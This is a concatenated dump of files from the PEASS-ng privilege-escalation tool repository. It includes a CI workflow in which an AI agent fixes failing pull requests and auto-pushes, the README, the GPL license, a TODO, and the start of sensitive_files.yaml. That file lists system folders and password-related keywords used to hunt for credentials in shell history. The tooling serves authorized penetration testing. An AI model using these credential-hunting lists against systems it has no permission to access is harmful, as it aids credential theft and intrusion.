"number=" echo "author=" echo "head_repo=" echo "head_branch=${HEAD_BRANCH}" echo "should_run=false" } >> "$GITHUB_OUTPUT" exit 0 fi pr_author=$(gh api -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/pulls/${PR_NUMBER} \ --jq '.user.login') pr_head_repo=$(gh api -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/pulls/${PR_NUMBER} \ --jq '.head.repo.full_name') pr_head_branch=$(gh api -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/pulls/${PR_NUMBER} \ --jq '.head.ref') pr_labels=$(gh api -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/issues/${PR_NUMBER} \ --jq '.labels[].name') if echo "$pr_labels" | grep -q "^chack-agent-fix-attempted$"; then echo "chack-agent fix already attempted for PR #${PR_NUMBER}; skipping." should_run=false else should_run=true fi { echo "number=${PR_NUMBER}" echo "author=${pr_author}" echo "head_repo=${pr_head_repo}" echo "head_branch=${pr_head_branch}" echo "should_run=${should_run}" } >> "$GITHUB_OUTPUT" chack_agent_on_failure: needs: resolve_pr_context if: ${{ needs.resolve_pr_context.outputs.author == 'carlospolop' && needs.resolve_pr_context.outputs.should_run == 'true' }} runs-on: ubuntu-latest permissions: contents: write pull-requests: write issues: write actions: write env: CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }} steps: - name: Comment on PR with failure info uses: actions/github-script@v7 env: PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} RUN_URL: ${{ github.event.workflow_run.html_url }} WORKFLOW_NAME: ${{ github.event.workflow_run.name }} with: github-token: ${{ github.token }} script: | const prNumber = Number(process.env.PR_NUMBER); const body = `PR #${prNumber} had a failing workflow "${process.env.WORKFLOW_NAME}".\n\nRun: ${process.env.RUN_URL}\n\nLaunching Chack Agent to attempt a fix.`; await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: prNumber, body, }); - name: Mark fix attempt env: PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} GH_TOKEN: ${{ github.token }} run: | gh api -X POST -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/issues/${PR_NUMBER}/labels \ -f labels[]=chack-agent-fix-attempted - name: Checkout PR head uses: actions/checkout@v5 with: repository: ${{ needs.resolve_pr_context.outputs.head_repo }} ref: ${{ github.event.workflow_run.head_sha }} fetch-depth: 0 persist-credentials: true token: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }} - name: Configure git author run: | git config user.name "chack-agent" git config user.email "chack-agent@users.noreply.github.com" - name: Fetch failure summary env: GH_TOKEN: ${{ github.token }} RUN_ID: ${{ github.event.workflow_run.id }} run: | gh api -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/actions/runs/$RUN_ID/jobs \ --paginate > /tmp/jobs.json python3 - <<'PY' import json data = json.load(open('/tmp/jobs.json')) lines = [] for job in data.get('jobs', []): if job.get('conclusion') == 'failure': lines.append(f"Job: {job.get('name')} (id {job.get('id')})") lines.append(f"URL: {job.get('html_url')}") for step in job.get('steps', []): if step.get('conclusion') == 'failure': lines.append(f" Step: {step.get('name')}") lines.append("") summary = "\n".join(lines).strip() or "No failing job details found." with open('chack_failure_summary.txt', 'w') as handle: handle.write(summary) PY - name: Create Chack Agent prompt env: PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} RUN_URL: ${{ github.event.workflow_run.html_url }} HEAD_BRANCH: ${{ needs.resolve_pr_context.outputs.head_branch }} run: | { echo "You are fixing CI failures for PR #${PR_NUMBER} in ${{ github.repository }}." echo "The failing workflow run is: ${RUN_URL}" echo "The PR branch is: ${HEAD_BRANCH}" echo "" echo "Failure summary:" cat chack_failure_summary.txt echo "" echo "Please identify the cause, apply a easy, simple and minimal fix, and update files accordingly." echo "Do not edit or create any .md or .txt files and do not modify build_lists/regexes.yaml." echo "Run any fast checks you can locally (no network)." echo "Leave the repo in a state ready to commit as when you finish, it'll be automatically committed and pushed." } > chack_prompt.txt - name: Set up Node.js for Codex uses: actions/setup-node@v5 with: node-version: "20" - name: Install Codex CLI run: | npm install -g @openai/codex codex --version - name: Run Chack Agent id: run_chack uses: carlospolop/chack-agent@master with: provider: codex model_primary: BEST_QUALITY main_action: peass-ng-pr-failure max_turns: 125 sub_action: PR Failure Chack-Agent Dispatch system_prompt: | You are Chack Agent, an elite CI-fix engineer. Diagnose the failing workflow, propose the minimal safe fix, and implement it. Never edit any .md or .txt files. Don't create job or summary files of you actions. Never create or modify build_lists/regexes.yaml. Run only fast, local checks (no network). Leave the repo ready to commit. prompt_file: chack_prompt.txt tools_config_json: "{\"exec_enabled\": true}" session_config_json: "{\"long_term_memory_enabled\": false}" agent_config_json: "{\"self_critique_enabled\": false, \"require_task_steps_manager_init_first\": true}" codex_access_token: ${{ secrets.CODEX_ACCESS_TOKEN }} openai_api_key: ${{ secrets.OPENAI_API_KEY }} - name: Commit and push if changed env: TARGET_BRANCH: ${{ needs.resolve_pr_context.outputs.head_branch }} PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} ORIGINAL_HEAD_SHA: ${{ github.event.workflow_run.head_sha }} GH_TOKEN: ${{ github.token }} run: | rm -f chack_failure_summary.txt chack_prompt.txt pushed=false if ! git diff --quiet; then git add -A # Keep all fixer changes, including .github/workflows, and rely on permissioned tokens to push safely. # Only temporary tool artifacts are filtered out. git reset -- chack_failure_summary.txt chack_prompt.txt # Never commit generated or regenerated regex list files from this workflow. git reset -- build_lists/regexes.yaml || true # Never allow the agent to commit generated linpeas artifacts. git reset -- linpeas.sh linpeas_fat.sh || true while IFS= read -r forbidden_file; do git reset -- "$forbidden_file" || true done < <(git diff --name-only --cached | grep -E '(^|/)(linpeas\.sh|linpeas_fat\.sh)$' || true) while IFS= read -r file; do case "$file" in *.txt|*.md) git reset -- "$file" ;; esac done < <(git diff --name-only --cached) if git diff --cached --name-only | grep -Eq '(^|/)(linpeas\.sh|linpeas_fat\.sh)$'; then echo "Forbidden generated linpeas files are still staged; skipping push." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi if ! git diff --cached --quiet; then git commit -m "Fix CI failures for PR #${PR_NUMBER}" fi fi after_head="$(git rev-parse HEAD)" if [ "$after_head" = "$ORIGINAL_HEAD_SHA" ]; then echo "No commit produced by Chack Agent for PR #${PR_NUMBER}." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi if ! git push origin HEAD:${TARGET_BRANCH}; then echo "Push failed (likely token workflow permission limits); leaving run successful without push." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi pushed=true if [ "$pushed" = "true" ]; then gh workflow run PR-tests.yml --ref "${TARGET_BRANCH}" fi - name: Comment with Chack Agent result if: ${{ steps.run_chack.outputs.final-message != '' }} uses: actions/github-script@v7 env: PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }} CHACK_MESSAGE: ${{ steps.run_chack.outputs.final-message }} with: github-token: ${{ github.token }} script: | await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: Number(process.env.PR_NUMBER), body: process.env.CHACK_MESSAGE, }); ================================================ FILE: .github/workflows/update_windows_version_definitions.yml ================================================ name: Update Windows Version Definitions on: schedule: - cron: "17 4 */14 * *" workflow_dispatch: permissions: contents: write pull-requests: write jobs: update-definitions: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v5 - name: Setup Python uses: actions/setup-python@v6 with: python-version: "3.x" - name: Install Python dependencies run: python3 -m pip install --disable-pip-version-check openpyxl - name: Update windows version definitions run: python3 build_lists/update_windows_version_defs.py - name: Create pull request id: create_pr continue-on-error: true uses: peter-evans/create-pull-request@v7 with: commit-message: "chore(winpeas): update windows version vulnerability definitions" title: "chore(winpeas): update windows version vulnerability definitions" body: "Automated update of `build_lists/windows_version_exploits.json`." branch: "bot/update-windows-version-definitions" delete-branch: true - name: Warn when PR creation is blocked by repo policy if: steps.create_pr.outcome == 'failure' run: | echo "::warning::Branch update was pushed, but automatic PR creation failed. If logs show 'GitHub Actions is not permitted to create or approve pull requests', enable that repository setting or use a PAT token for PR creation." ================================================ FILE: .gitignore ================================================ .vs/* .vscode/* winPEAS/winPEASexe/.vs/* v16/* winPEAS/winPEASexe/.vs/winPEAS/v16/* winPEAS/winPEASexe/binaries/**/*.exe Debug/* winPEAS/winPEASexe/winPEAS/bin/Debug/* .DS_Store ./.DS_Store ./*/.DS_Store ./*/.tmp1 .tmp1 obj bin packages *cpython* */*cpython* launch.json *.pyc **/*.pyc __pycache__ */__pycache__ **/__pycache__ linPEAS/builder/__pycache__/* linPEAS/builder/src/__pycache__/* linPEAS/linpeas.sh linPEAS/builder/linpeas_base_tmp.sh build_lists/regexes.yaml sh2bin sh2bin/* winPEAS/winPEASexe/Directory.Build.targets .dccache ./*/.dccache regexes.yaml .github/instructions/ .github/workflows/build-artifacts.yml build_lists/regexes.yaml ================================================ FILE: CONTRIBUTING.md ================================================ # Contributing to this repository ## Making Suggestions If you want to make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/peass-ng/PEASS-ng/issues)** ## Do don't know how to help? Check out the **[TODO](https://github.com/peass-ng/PEASS-ng/blob/master/TODO.md) page** ## Searching for files with sensitive information From the PEASS-ng release **winpeas and linpeas are auto-built** and will search for files containing sensitive information specified in the **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** file. If you want to **contribute adding the search of new files that can contain sensitive information**, please, just update **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** and create a **PR to master** (*linpeas and winpeas will be auto-built in this PR*). You can find examples of how to contribute to this file inside the file. Also, in the comments of this PR, put links to pages where and example of the file containing sensitive information can be foud. ## Specific LinPEAS additions From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that will be merged into linpeas.sh*. The new linpeas.sh script will be auto-generated in the PR. ## Specific WinPEAS additions Just modify winpeas and create a PR to master. The new winpeas binaries will be auto-generated in the PR. ================================================ FILE: LICENSE ================================================ COPYING -- Describes the terms under which peass-ng is distributed. A copy of the GNU General Public License (GPL) is appended to this file. peass-ng is (C) 2019-2024 Carlos Polop Martin. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 (or later) with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed peass-ng technology into proprietary software, we sell alternative licenses (contact me via email, telegram or github issue). Note that the GPL places important restrictions on "derived works", yet it does not provide a detailed definition of that term. To avoid misunderstandings, we interpret that term as broadly as copyright law allows. For example, we consider an application to constitute a "derived work" for the purpose of this license if it does any of the following: * Integrates source code from peass-ng. * Reads or includes peass-ng copyrighted files or any file in this repository * Executes peass-ng and parses the results (as opposed to typical shell or execution-menu apps, which simply display raw peass-ng output and so are not derivative works). * Integrates/includes/aggregates peass-ng into a proprietary executable installer, such as those produced by InstallShield. * Links to a library or executes a program that does any of the above The term "peass-ng" should be taken to also include any portions or derived works of peass-ng. This list is not exclusive, but is meant to clarify our interpretation of derived works with some common examples. Our interpretation applies only to peass-ng - we do not speak for other people's GPL works. This license does not apply to the third-party components. If you have any questions about the GPL licensing restrictions on using peass-ng in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate peass-ng into proprietary applications and appliances. If you received these files with a written license agreement or contract stating terms other than the terms above, then that alternative license agreement takes precedence over these comments. Source is provided to this software because we believe users have a right to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes for possible incorporation into the main distribution. By sending these changes to the peass-ng developers or via Git pull request, checking them into the peass-ng source code repository, it is understood (unless you specify otherwise) that you are offering the peass-ng project the unlimited, non-exclusive right to reuse, modify, and relicense the code. peass-ng will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.0.html, or below **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS ================================================ FILE: README.md ================================================ # PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation ![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/peass.png) ![](https://img.shields.io/badge/Black-Arch-black) ![](https://img.shields.io/badge/Arch-AUR-brightgreen) ![](https://img.shields.io/badge/Black%20Hat%20Arsenal-Asia%202020-red) # Basic Tutorial [![Tutorial](https://img.youtube.com/vi/2Ey1WQXNp3w/0.jpg)](https://www.youtube.com/watch?v=9_fJv_weLU0&list=PL9fPq3eQfaaDxjpXaDYApfVA_IB8T14w7) Here you will find **privilege escalation tools for Windows and Linux/Unix\* and MacOS**. These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily. - Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)** - **[WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)** - Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html)** - **[LinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)** ## Quick Start Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ## JSON, HTML & PDF output Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF** ## Join us! If you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!** You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about the latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live). ## Let's improve PEASS together If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/peass-ng/PEASS-ng/blob/master/CONTRIBUTING.md)** file. ## Advisory All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own machines and/or with the owner's permission. ================================================ FILE: TODO.md ================================================ # TODO ### Generate Nice Reports - [x] Create a parser from linpeas and winpeas.exe output to JSON. You can fin it [here](https://github.com/peass-ng/PEASS-ng/tree/master/parser). - [ ] Create a python script that generates a nice HTML/PDF from the JSON output ### Generate a DB of Known Vulnerable Binaries - [ ] Create a DB of the md5/sha1 of binaries known to be vulnerable to command execution/Privilege Escalation ### Maintain Updated LinPEAS's known SUID exploits - [ ] Maintain updated LinPEAS's known SUID exploits ### Network Capabilities for WinPEAS - [ ] Give to WinPEAS network host discover capabilities and port scanner capabilities (like LinPEAS has) ### Add More checks to LinPEAS and WinPEAS - [ ] Add more checks in LinPEAS - [ ] Add more checks in WinPEAS ### Find a way to minify and/or obfuscate LinPEAS automatically - [ ] Find a way to minify and/or obfuscate linpeas.sh automatically. If you know a way contact me in Telegram or via github issues ### Create a PEASS-ng Web Page were the project is properly presented - [ ] Let me know in Telegram or github issues if you are interested in helping with this ### Relate LinPEAS and WinPEAS with the Att&ck matrix - [ ] In the title of each check of LinPEAS and WinPEAS indicate between parenthesis and in grey the Tactic used. Example: **Enumerating something** (*T1234*) - [ ] Once the previous task is done, modify LinPEAS and WinPEAS to be able to indicate just the Tactic(s) that want to be executed so the scripts only execute the checks related to those tactics. Example: `linpeas.sh -T T1590,T1591` ================================================ FILE: build_lists/download_regexes.ps1 ================================================ $scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path $filePath = Join-Path $scriptDir "regexes.yaml" $url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml" Invoke-WebRequest $url -OutFile $filePath ================================================ FILE: build_lists/download_regexes.py ================================================ #!/usr/bin/env python3 import os import requests from pathlib import Path def download_regexes(): print("[+] Downloading regexes...") url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml" response = requests.get(url) if response.status_code == 200: # Save the content of the response to a file script_folder = Path(os.path.dirname(os.path.abspath(__file__))) target_file = script_folder / 'regexes.yaml' with open(target_file, "w") as file: file.write(response.text) print(f"Downloaded and saved in '{target_file}' successfully!") else: print("Error: Unable to download the regexes file.") exit(1) download_regexes() ================================================ FILE: build_lists/sensitive_files.yaml ================================================ ############################ ## LINPEAS SPECIFICATIONS ## ############################ root_folders: - ${ROOT_FOLDER}applications #common - ${ROOT_FOLDER}bin #common - ${ROOT_FOLDER}.cache #common - ${ROOT_FOLDER}cdrom #common - ${ROOT_FOLDER}etc #common - $HOMESEARCH #common, use this instead of "/home" - ${ROOT_FOLDER}lib - ${ROOT_FOLDER}lib32 - ${ROOT_FOLDER}lib64 - ${ROOT_FOLDER}media #common - ${ROOT_FOLDER}mnt #common - ${ROOT_FOLDER}opt #common - ${ROOT_FOLDER}private #common - ${ROOT_FOLDER}run - ${ROOT_FOLDER}sbin #common - ${ROOT_FOLDER}snap #common - ${ROOT_FOLDER}srv #common - ${ROOT_FOLDER}sys - ${ROOT_FOLDER}system - ${ROOT_FOLDER}systemd - ${ROOT_FOLDER}tmp #common - ${ROOT_FOLDER}usr #common - ${ROOT_FOLDER}var #common - ${ROOT_FOLDER}concourse-auth - ${ROOT_FOLDER}concourse-keys common_file_folders: - ${ROOT_FOLDER}applications - ${ROOT_FOLDER}bin - ${ROOT_FOLDER}.cache - ${ROOT_FOLDER}cdrom - ${ROOT_FOLDER}etc - $HOMESEARCH - ${ROOT_FOLDER}media - ${ROOT_FOLDER}mnt - ${ROOT_FOLDER}opt - ${ROOT_FOLDER}private - ${ROOT_FOLDER}sbin - ${ROOT_FOLDER}snap - ${ROOT_FOLDER}srv - ${ROOT_FOLDER}tmp - ${ROOT_FOLDER}usr - ${ROOT_FOLDER}var common_directory_folders: - ${ROOT_FOLDER}applications - ${ROOT_FOLDER}bin - ${ROOT_FOLDER}.cache - ${ROOT_FOLDER}cdrom - ${ROOT_FOLDER}etc - $HOMESEARCH - ${ROOT_FOLDER}media - ${ROOT_FOLDER}mnt - ${ROOT_FOLDER}opt - ${ROOT_FOLDER}private - ${ROOT_FOLDER}sbin - ${ROOT_FOLDER}snap - ${ROOT_FOLDER}srv - ${ROOT_FOLDER}tmp - ${ROOT_FOLDER}usr - ${ROOT_FOLDER}var peas_checks: "peass{CHECKS}" peas_regexes_markup: "peass{REGEXES}" peas_extrasections_markup: "peass{EXTRA_SECTIONS}" peas_finds_markup: "peass{FINDS_HERE}" peas_finds_custom_markup: "peass{FINDS_CUSTOM}" find_line_markup: "peass{FIND_PARAMS_HERE}" find_template: > `eval_bckgrd "find peass{FIND_PARAMS_HERE} 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` peas_storages_markup: "peass{STORAGES_HERE}" storage_line_markup: "peass{STORAGE_PARAMS_HERE}" storage_line_extra_markup: "peass{STORAGE_PARAMS_EXTRA_HERE}" storage_template: > $(echo -e "peass{STORAGE_PARAMS_HERE}" peass{STORAGE_PARAMS_EXTRA_HERE} | sort | uniq | head -n 70) int_hidden_files_markup: "peass{INT_HIDDEN_FILES}" suidVB1_markup: "peass{SUIDVB1_HERE}" suidVB2_markup: "peass{SUIDVB2_HERE}" sudoVB1_markup: "peass{SUDOVB1_HERE}" sudoVB2_markup: "peass{SUDOVB2_HERE}" cap_setuid_markup: "peass{CAP_SETUID_HERE}" cap_setgid_markup: "peass{CAP_SETGID_HERE}" les_markup: "peass{LES}" les2_markup: "peass{LES2}" fat_linpeas_amicontained_markup: "peass{AMICONTAINED}" fat_linpeas_gitleaks_linux_markup: "peass{GITLEAKS_LINUX}" fat_linpeas_gitleaks_macos_markup: "peass{GITLEAKS_MACOS}" ############################## ## AUTO GENERATED VARIABLES ## ## FOR WINPEAS & LINPEAS ## ############################## variables_markup: "peass{VARIABLES}" variables: - name: pwd_inside_history value: "az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon 